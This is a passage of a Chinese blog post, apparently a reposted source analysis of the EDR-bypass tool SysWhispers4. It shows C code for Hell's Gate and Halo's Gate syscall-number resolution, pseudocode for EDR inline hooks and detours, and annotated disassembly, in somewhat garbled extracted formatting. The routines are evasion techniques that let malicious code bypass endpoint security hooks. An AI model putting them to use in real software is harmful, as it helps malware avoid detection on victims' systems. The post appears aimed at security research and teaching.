  258. NtAllocateReserveObject...1234564024←未Hook

  259. // 来自 generator.py - Halo's Gate 实现

  260. static&nbsp;DWORD&nbsp;HalosGateReadSSN(PVOID pFunction,constchar*&nbsp;funcName){

  261. // 1. 先尝试直接读取

  262. DWORD ssn&nbsp;=HellsGateReadSSN(pFunction);

  263. if(ssn&nbsp;!=&nbsp;INVALID_SSN)

  264. return&nbsp;ssn;

  265. // 2. 向前后扫描邻近函数(±8 个)

  266. for(int&nbsp;offset&nbsp;=1;&nbsp;offset&nbsp;<=8;&nbsp;offset++){

  267. // 向上扫描(地址减小方向)

  268. PVOID pHigher&nbsp;=(BYTE*)pFunction&nbsp;-(offset&nbsp;*0x20);

  269. ssn&nbsp;=HellsGateReadSSN(pHigher);

  270. if(ssn&nbsp;!=&nbsp;INVALID_SSN){

  271. // 推断原始 SSN = 找到的 SSN - 偏移

  272. return&nbsp;ssn&nbsp;-&nbsp;offset;

  273. }

  274. // 向下扫描(地址增加方向)

  275. PVOID pLower&nbsp;=(BYTE*)pFunction&nbsp;+(offset&nbsp;*0x20);

  276. ssn&nbsp;=HellsGateReadSSN(pLower);

  277. if(ssn&nbsp;!=&nbsp;INVALID_SSN){

  278. // 推断原始 SSN = 找到的 SSN + 偏移

  279. return&nbsp;ssn&nbsp;+&nbsp;offset;

  280. }

  281. }

  282. return&nbsp;INVALID_SSN;

  283. }

  284. jmp detour &nbsp; &nbsp; &nbsp;;&nbsp;E9 XX XX XX XX

  285. mov eax,&nbsp;SSN &nbsp; &nbsp;;&nbsp;B8 XX XX XX XX

  286. mov r10,&nbsp;rcx &nbsp; &nbsp;;4C8B4C2408

  287. syscall &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;;0F05

  288. ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;;&nbsp;C3

  289. // 来自 generator.py - Hell's Gate 实现

  290. static&nbsp;DWORD&nbsp;HellsGateReadSSN(PVOID pFunction){

  291. BYTE*&nbsp;pCode&nbsp;=(BYTE*)pFunction;

  292. // 检查是否是标准的 "mov eax, imm32" 指令

  293. // 机器码:B8 XX XX XX XX

  294. if(pCode[0]==0xB8){

  295. DWORD ssn&nbsp;=*(DWORD*)(pCode&nbsp;+1);

  296. return&nbsp;ssn;// 成功读取 SSN

  297. }

  298. // 如果第一条指令不是 B8,可能被 Hook

  299. return&nbsp;INVALID_SSN;

  300. }

  301. // EDR Detour 函数伪代码

  302. NTSTATUS NTAPI&nbsp;Detour_NtAllocateVirtualMemory(

  303. HANDLE&nbsp;ProcessHandle,

  304. PVOID*BaseAddress,

  305. ULONG_PTR&nbsp;ZeroBits,

  306. PSIZE_T&nbsp;RegionSize,

  307. ULONG&nbsp;AllocationType,

  308. ULONG&nbsp;Protect

  309. ){

  310. // 1. 行为分析

  311. if(IsSuspiciousBehavior(ProcessHandle,AllocationType,Protect)){

  312. // 2. 记录日志

  313. LogSuspiciousActivity(

  314. "NtAllocateVirtualMemory",

  315. GetCurrentProcessId(),

  316. AllocationType,

  317. Protect

  318. );

  319. // 3. 可能采取的行动

  320. if(ShouldBlock()){

  321. return&nbsp;STATUS_ACCESS_DENIED;// 阻止操作

  322. }

  323. if(ShouldAlertOnly()){

  324. // 继续执行但发送警报

  325. SendAlertToServer(...);

  326. }

  327. }

  328. // 4. 调用原始函数

  329. returnOriginal_NtAllocateVirtualMemory(

  330. ProcessHandle,BaseAddress,ZeroBits,

  331. RegionSize,AllocationType,Protect

  332. );

  333. }

  334. ;Hook前的NtAllocateVirtualMemory

  335. 00007FF812345678 48894C2408    mov     [rsp+8], rcx`

  336. 00007FF81234567D B818000000    mov     eax,18h; SSN =24`

  337. 00007FF812345682 0F05          syscall               ; 系统调用`

  338. 00007FF812345684 C3            ret                   ;返回`

  339. ;Hook后的NtAllocateVirtualMemory

  340. 00007FF812345678 E9A1B2C3D4    jmp     00007FF81111111E;跳转到&nbsp;EDR&nbsp;的&nbsp;detour&nbsp;函数

  341. 00007FF81234567D 0000          add     [rax], al         ; 被覆盖的原始字节`

  342. 00007FF81234567F0000          add     [rax], al`

  343. // 伪代码:Inline Hook 实现

  344. voidInstallHook(void*&nbsp;pTargetFunction,void*&nbsp;pDetourFunction){

  345. // 1. 保存原始字节(通常前 5-15 字节)

  346. BYTE originalBytes[15];

  347. memcpy(originalBytes,&nbsp;pTargetFunction,15);

  348. // 2. 构造跳转指令(JMP rel32)

  349. // 机器码:E9 xx xx xx xx (相对跳转)

  350. BYTE hookCode[5]={0xE9};

  351. DWORD relativeOffset&nbsp;=(BYTE*)pDetourFunction&nbsp;-((BYTE*)pTargetFunction&nbsp;+5);

  352. *(DWORD*)(hookCode&nbsp;+1)=&nbsp;relativeOffset;

  353. // 3. 修改内存保护属性(RWX)

  354. DWORD oldProtect;

  355. VirtualProtect(pTargetFunction,5,&nbsp;PAGE_EXECUTE_READWRITE,&oldProtect);

  356. // 4. 写入跳转指令

  357. memcpy(pTargetFunction,&nbsp;hookCode,5);

  358. // 5. 恢复内存保护

  359. VirtualProtect(pTargetFunction,5,&nbsp;oldProtect,&oldProtect);

  360. // 6. 刷新指令缓存

  361. FlushInstructionCache(GetCurrentProcess(),&nbsp;pTargetFunction,5);

  362. }

  363. 应用程序

  364. [HookPoint1]&nbsp;kernel32.dll&nbsp;(Win32&nbsp;API&nbsp;层)←最常见

  365. [HookPoint2]&nbsp;ntdll.dll&nbsp;(Native&nbsp;API&nbsp;层)←较少见

  366. syscall&nbsp;指令

  367. 内核层(ntoskrnl.exe)

  368. 拦截点(Interception Point):选择在哪里插入 Hook

  369. 跳转目标(Detour Function):被重定向到的自定义函数

  370. 原始函数(Original Function):被 Hook 的原始函数

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《edr绕过工具 SysWhispers4 源码分析系列(二)》

评论:0   参与:  0